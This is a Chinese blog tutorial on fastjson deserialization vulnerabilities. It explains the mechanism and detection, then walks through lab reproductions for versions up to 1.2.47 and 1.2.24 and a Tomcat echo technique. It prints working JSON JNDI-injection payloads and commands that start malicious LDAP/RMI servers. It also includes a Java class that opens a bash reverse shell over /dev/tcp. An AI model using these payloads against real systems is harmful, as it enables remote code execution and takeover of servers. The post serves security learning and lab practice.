fastjson反序列化漏洞

已于 2024-03-01 19:26:18 修改
阅读量1k 收藏 23
点赞数 17
文章标签： 网络安全 学习 安全
于 2024-03-01 19:20:59 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_63980959/article/details/136404168
版权

fastjson反序列化漏洞

文章目录

1.漏洞原理

​ Fastjson是一款开源JSON解析库，它可以解析JSON格式的字符串，支持将Java Bean序列化为JSON字符串，也可以从JSON字符串反序列化到JavaBean。

​ fastjson反序列化与weblogic、shiro反序列化类似，在客户端将json数据进行序列化传送至服务端后，服务端会将其反序列化读取其中数据，若客户端操控json数据，加入一些恶意类方法、代码，则可能会造成服务端代码执行。同时由于fastjson采用黑名单过滤的方式，也存在着被绕过的风险。

​ 当前出现的fastjson反序列化漏洞由于无法做到回显，一般会使用ldap和rmi远程调用的方式来进行getshell。攻击机发送恶意payload来使漏洞服务端进行ldap或rmi远程调用，调用搭建好的ldap或rmi服务上所布置好的class类进而执行，从而实现shell反弹。

2.探测方式

2.1 查看回显

当提交一个json数据时，可以故意截取数据内容，使其不完整，再查看服务器返回包内容是否写有fastjson

例如：

img

删去括号使其不完整，便出现了fastjson

img

2.2 LDAP/RMI服务测试

利用github上已经编译好的jar利用包，在VPS上启动ldap服务来构造payload来使服务端请求dnslog探测是否存在漏洞。

java -cp fastjson_tool.jar fastjson.HLDAPServer 192.168.155.128 80 "curl sr7wx4.dnslog.cn"

img

利用所提供的payload进行dnslog

POST / HTTP/1.1
Host: 192.168.155.128:8090
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: lang=zh-CN
Connection: close
Content-Length: 187
Content-Type:application/json

{"e":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"f":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.155.128:80/Object","autoCommit":true}}

img

平台成功接收，证明存在漏洞

img

3.LDAP/RMI服务搭建要求

img

4.漏洞复现

4.1 fastjson <=1.2.47 反序列化导致任意命令执行漏洞

4.1.1 环境准备

攻击机：win10 burp

vps：java python nc

靶机：kali

（条件有限vps上要搭建的东西移到了同为靶机的kali上）

4.1.2 复现过程

启动nc来进行监听，端口为4444

nc -ltvp 4444

img

此时启动jar包，该包专为1.2.47版本使用，利用该包启动ldap服务，前段ip为ldap服务ip及端口，后段为nc监听ip及端口。（https://github.com/wyzxxz/fastjson_rce_tool）

java -cp fastjson_tool.jar fastjson.HLDAPServer 192.168.155.128 81 "bash=/bin/bash -i  >& /dev/tcp/192.168.155.128/4444 0>&1"
同样可以修改参数为fastjson.EvilRMIServer，启动RMI服务

img

返回payload，利用post方式将其发送至靶机服务端，同时Content-Type类型为application/json。

img

查看nc，已经接收到反弹的shell了

img

4.2 fastjson <=1.2.24 反序列化导致任意命令执行漏洞

4.2.1 环境准备

攻击机：win10 burp

vps：java python nc

靶机：kali

（条件有限vps上要搭建的东西移到了同为靶机的kali上）

4.2.2 复现过程

由于该版本没有专用的jar包需要自己进行编译。

首先编译远程调用的java文件（建议使用jdk1.8编译，其他版本编译出来的可能会不执行）

payload如下：
// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;
public class TouchFile {
static {
	try {
			Runtime rt = Runtime.getRuntime();
			String[] commands = {"touch", "/tmp/success"};
			Process pc = rt.exec(commands);
			pc.waitFor();
		} catch (Exception e)
			{
				// do nothing
			}
		}
	}	
反弹shellpayload
// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;
public class TouchFile {
   static {
       try {
   		Runtime r = Runtime.getRuntime();
   		Process p = r.exec(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/192.168.155.128/4444 0>&1"});
   		p.waitFor();
       } catch (Exception e) {
           // do nothing
       }
   }
}

利用javac编译为class文件

javac TouchFile.java

img

当前文件夹则会生成一个class文件

img

安装maven环境

apt-get install maven

然后在编译好的java文件夹下启动一个http服务

python -m SimpleHTTPServer 3333

现在我们利用marshalsec项目，启动一个RMI服务器，监听9999端口，并使其加载编译好的类文件TouchFile.class

下载该项目，然后进行项目编译

mvn clean package -DskipTests

编译成功后会多出一个target文件夹，其中便有我们需要的jar包

img

img

此时执行监听命令

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://刚class文件的ip或域名/#TouchFile" 9999

img

抓取数据包发送payload

POST / HTTP/1.1
Host: 192.168.155.128:8090
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: lang=zh-CN
Connection: close
Content-Length: 123
Content-Type:application/json

{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://192.168.155.128:9999/TouchFile",
        "autoCommit":true
    }
}

成功获得shell

img

img

4.3 fastjson即时回显利用

前情提要

​ 在大部分情况下，可能没有做到如上面两种试验里这么顺利，遇到最多的问题就是class文件不读取或者读取了不执行，可以直接利用工具，进行一个帮助的回显

​ 工具链接:

https://github.com/WhiteHSBG/JNDIExploit

​ 利用该工具首先需要阅读一下说明（在工具文件内或者github上看），该工具主要启动ldap服务，支持多种路由格式，可以根据不同的路由选择不同的payloadtype和GadgetType。

启动工具

java -jar JNDIExploit-1.4-SNAPSHOT.jar  -i vps-ip

img

漏洞复现

​ 具体格式不变，同样是普通的fastjson格式的payload，但是里面引用的连接需要进行修改，同时，需要在hrader头中加入cmd: ifconfig等等命令

POST /api/auth/ainfo/contact/listFamily HTTP/1.1
Host: xxxxxx
Content-Length: 168
sn: null
cmd: ifconfig
Content-Type: application/json
Accept: application/json, text/plain, */*
timestamp: 1663245585261
device: null
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36
utype: 1
token: null
sign: 892ed5ef47f06f89fb6e9a6812718b68
Origin: http://xxxx:8095
Referer: http://xxxx:8095/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

{"handsome":{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"ldap://xxxxx:1389/Deserialization/CommonsCollectionsK1/TomcatEcho","autoCommit":true}}

​ 将payload摘出来看

ldap://xxxx:1389/Deserialization/CommonsCollectionsK1/TomcatEcho
ldap://xxxx:1389：不用说
Deserialization：说明中的Deserialization路由
CommonsCollectionsK1：GadgetType类型，可以挨个尝试直到回显
TomcatEcho：PayloadType类型用于在中间件为 Tomcat 时命令执行结果的回显，通过添加自定义header cmd: whoami 的方式传递想要执行的命令

​ 此时直接发送请求，可以看到直接利用tomcat进行了回显

看

ldap://xxxx:1389/Deserialization/CommonsCollectionsK1/TomcatEcho
ldap://xxxx:1389：不用说
Deserialization：说明中的Deserialization路由
CommonsCollectionsK1：GadgetType类型，可以挨个尝试直到回显
TomcatEcho：PayloadType类型用于在中间件为 Tomcat 时命令执行结果的回显，通过添加自定义header cmd: whoami 的方式传递想要执行的命令

​ 此时直接发送请求，可以看到直接利用tomcat进行了回显

image-20240224114403283

石院张铁蛋
关注
  • 17
    点赞
  • 踩
  • 23
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
Java-Deserialization-Cheat-Sheet:关于Java反序列化漏洞的备忘单
05-02
Java反序列化备忘单 面向渗透测试人员和研究人员的备忘单，其中涉及各种Java（JVM）序列化库中的反序列化漏洞。 请使用#javadeser哈希标签进行鸣叫。 表中的内容 json-io（JSON） 杰克逊（JSON） Fastjson（JSON） Genson（JSON） Flexjson（JSON） 乔德（JSON） 红色5 IO AMF（AMF） Apache Flex BlazeDS（AMF） 火烈鸟AMF（AMF） GraniteDS（AMF） Java WebORB（AMF） SnakeYAML（YAML） jYAML（YAML） YamlBeans（YAML） “安全”反序列化 Java本机序列化（二进制） 概述 Java反序列化安全性常见问题解答 来自Foxgloves安全 主要演讲，演讲和文档 编组泡菜 通过@frohoff ＆
Fastjson反序列化漏洞史1
08-03
Fastjson 反序列化漏洞史2020年05月08日漏洞分析 (/category/vul-analysis/) · 404专栏 (/category/404
Fastjson反序列化漏洞（自学）
m0_64481831的博客
03-04 970
Fastjson是Java的一个库，可以将Java对象转化为JSON格式的字符串，也可以将JSON格式的字符串转化为Java对象。Fastjson调用toJSONString()方法即可将对象转换成JSON字符串，parseObject()方法将JSON字符串转换成对象。Fastjson是Java的一个库，调用toJSONString方法将对象转换成字符串，调用parseObject方法将字符串转换为对象。
fastjson1.2.69反序列化远程代码执行漏洞介绍.docx
07-01
fastjson1.2.69反序列化远程代码执行漏洞介绍fastjson采用黑白名单的方法来防御反序列化漏洞，导致当黑客不断发掘新的反序列化Gadgets类时，在autoType关闭的情况下仍然可能可以绕过黑白名单防御机制，造成远程命令执行漏洞。经研究，该漏洞利用门槛较低，可绕过autoType限制，风险影响较大。阿里云应急响应中心提醒fastjson用户尽快采取安全措施阻止漏洞攻击
FastJson 漏洞.md
05-27
FastJson 漏洞.md
Fastjson各版本反序列化EXP 1.2.24 1.2.41 1.2.42 1.2.43 1.2.45 48 62 66
03-29
![img](https://github.com/mai-lang-chai/Middleware-Vulnerability-detection/blob/master/Fastjson/Fastjson%E5%90%84%E7%89%88%E6%9C%AC%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E6%B1%87%E6%80%BB/PIC/index.png) # Fastjson<=1.2.47反序列化漏洞为例 1、此时/tmp目录 ![img](https://github.com/mai-lang-chai/Middleware-Vulnerability-detection/blob/master/Fastjson/Fastjson%E5%90%84%E7%89%88%E6%9C%AC%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E6%B1%87%E6%80%BB/PIC/tmp.png) 2、编译Exploit.java javac
Fastjson 反序列化漏洞
Cover-3321的博客
01-09 1537
fastjson在解析json（反序列化）的过程中，支持使用@Type来实例化一个具体类，且自动调用这个类的set/get方法来访问属性。黑客通过查找代码中的get方法，来远程加载恶意命令，即造成反序列化漏洞
Fastjson反序列化漏洞
热门推荐
LJH1999ZN的博客
03-31 3万+
一、fastjson简介 fastjson是java的一个库，可以将java对象转化为json格式的字符串，也可以将json格式的字符串转化为java对象 提供了 toJSONString() 和 parseObject() 方法来将 Java 对象与 JSON 相互转换。调用toJSONString方 法即可将对象转换成 JSON 字符串，parseObject 方法则反过来将 JSON 字符串转换成对象。 二、fastjson反序列化漏洞原理 在反序列化的时候，会进入parseField方法，进
Fastjson反序列化漏洞详解
zhuyi666的博客
03-13 2933
fastjson介绍：fastjson 是一个java语言编写的高性能且功能完善的JSON库，它采用一种“假定有序快速匹配”的算法，把JSON Parse 的性能提升到了极致。FastJson是啊里巴巴的的开源库，用与对JSON格式的数据进行解析和打包。速度快使用广泛测试完备使用简单功能完备JSON数据格式{"name"：zy, "age"：22, "flag"：true, "gender"：male, "address"：cs}("key"：value)
一文解读，网络安全行业人才需求情况《网络安全产业人才发展报告》
weixin_59086772的博客
10-18 8190
随着近几天国家网络安全宣传周在全国各地开展活动，网络安全再一次成为热门话题。网络安全不再缩在小小的安全圈子里，惠及面越来越广。不少对网络安全颇有兴趣的朋友非常关心行业前景如何？该怎么提升自我能力，更快地加入网安行列。 今天雨笋君就10月13日在网络安全宣传周上发布的《2021网络安全人才报告》进行一个简单的行业前景分析。 一、网络安全行业市场发展情况 网络时代生活越来越离不开网络，与此同时发生的网络安全攻击事件、非法入侵等等一系列事件都威胁着普通人的生活。没有网络安全保障，个人和企业等重.
党务学习|基于SprinBoot+vue的大学生党务学习平台(源码+数据库+文档)
伟庭的博客
04-27 705
大学生党务学习平台管理系统按照操作主体分为管理员和用户。用户的功能等。该系统采用了Mysql数据库，Java语言，Spring Boot框架等技术进行编程实现。大学生党务学习平台管理系统可以提高大学生党务学习平台信息管理问题的解决效率，优化大学生党务学习平台信息处理流程，保证大学生党务学习平台信息数据的安全，它是一个非常可靠，非常安全的应用程序。大学生党务学习平台管理系统；入党申请,党课Mysql数据库；Java语言。
集成学习算法学习笔记
m0_46521579的博客
04-27 408
三个臭皮匠顶一个诸葛亮集成学习会考虑多个评估器的建模结果，汇总后得到一个综合的结果，以此来获取比单个模型更好的回归或分类表现。很多独立的机器学习算法：决策树、神经网络、支持向量机集成学习构建了一组基学习器，并将它们综合起来作为最终的模型。在很多集成学习模型中，对基学习器的要求很低。集成学习适用于机器学习的几乎所有领域：回归、分类、推荐和排序。相同的多个基学习器不会带来任何提升，不同的模型取长补短，每个基学习器都会犯不同的错误，综合起来犯错的可能性不大。
PySide6 GUI 学习笔记——使用资源文件
Humbunklung的专栏
04-27 534
在界面开发中，我们常常将一些图片、图标等资源统一存放到资源文件中供使用，从而让图形界面表达能力更好，更加丰富，譬如带图标的按钮、菜单、窗口等等。PySide6可以将多个图标、图片等资源文件编译到.py文件中，这样可以被我们的程序直接调用，使得资源的管理更加方便。
公考学习平台|基于SprinBoot+vue的公考学习平台(源码+数据库+文档)
最新发布
weixin_66413741的博客
04-30 704
本共享汽车管理系统有管理员和用户。管理员功能有个人中心，用户管理，投放地区管理，汽车信息管理，汽车投放管理，汽车入库管理，使用订单管理，汽车归还管理。用户可以在注册登录，可以对汽车进行使用产生订单，还可以归还。因而具有一定的实用性。本站是一个B/S模式系统，采用Spring Boot框架，MYSQL数据库设计开发，充分保证系统的稳定性。系统具有界面清晰、操作简单，功能齐全的特点，使得共享汽车管理系统管理工作系统化、规范化。
JET毛选学习笔记：如何利用《矛盾论》从做实验到做科研vol. 1
qq_30452897的博客
04-27 868
JET毛选学习笔记：如何利用《矛盾论》从做实验到做科研vol. 1
Qt:学习笔记一
weixin_45930573的博客
04-25 1219
/槽函数，可以写到public slots，也可以写到public全局下//返回值void，需要声明，也需要实现//可以有参数，可以发生重载signals://自定义信号，写到signals下//返回值是void，只需要声明，不需要实现//可以有参数，可以重载qDebug() << "请老师吃饭";//QString->char * 先转成QByteArray (.toUtf8() ) 再转char * ()
电源小白入门学习6——锂离子电池特性及充电电路
weixin_67907028的博客
04-26 1022
电源小白入门学习6——锂离子电池特性及充电电路
NumPy简单学习（需要结合书本）
lenard-lhz的博客
04-25 510
需要之后来填坑😓😓😓简单使用numpy💕💕💕。
fastjson 反序列化漏洞
08-24
fastjson 反序列化漏洞是指在使用 fastjson 库解析 JSON 字符串时存在安全风险的问题。具体来说，fastjson 反序列化漏洞是由于 fastjson 在处理特定的恶意构造的 JSON 字符串时，可能会触发不安全的反序列化操作，导致攻击者能够执行任意代码或进行其他恶意操作。 这种漏洞通常是由于 fastjson 的反序列化过程中缺乏足够的安全检查和过滤机制，导致恶意用户能够构造特定的 JSON 字符串来触发漏洞。攻击者可以通过在 JSON 字符串中插入恶意的 Java 代码或利用已知的 Java 反序列化漏洞来执行任意代码。 为了防止 fastjson 反序列化漏洞的利用，建议遵循以下几点： 1. 尽量避免使用 fastjson 库，可以考虑使用其他更安全的 JSON 库。 2. 更新 fastjson 到最新版本，以获取最新的修复和安全增强功能。 3. 对用户输入的 JSON 字符串进行严格的验证和过滤，确保只有合法的、受信任的数据被反序列化。 4. 配置 fastjson 的 ParserConfig，限制反序列化操作只能处理预期的类型。 5. 避免在反序列化过程中执行不可信的代码，尽量将反序列化操作限制在有限的安全环境中。 总之，fastjson 反序列化漏洞是一个需要注意和防范的安全问题，开发者在使用 fastjson 库时应当保持警惕并采取相应的安全措施。

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值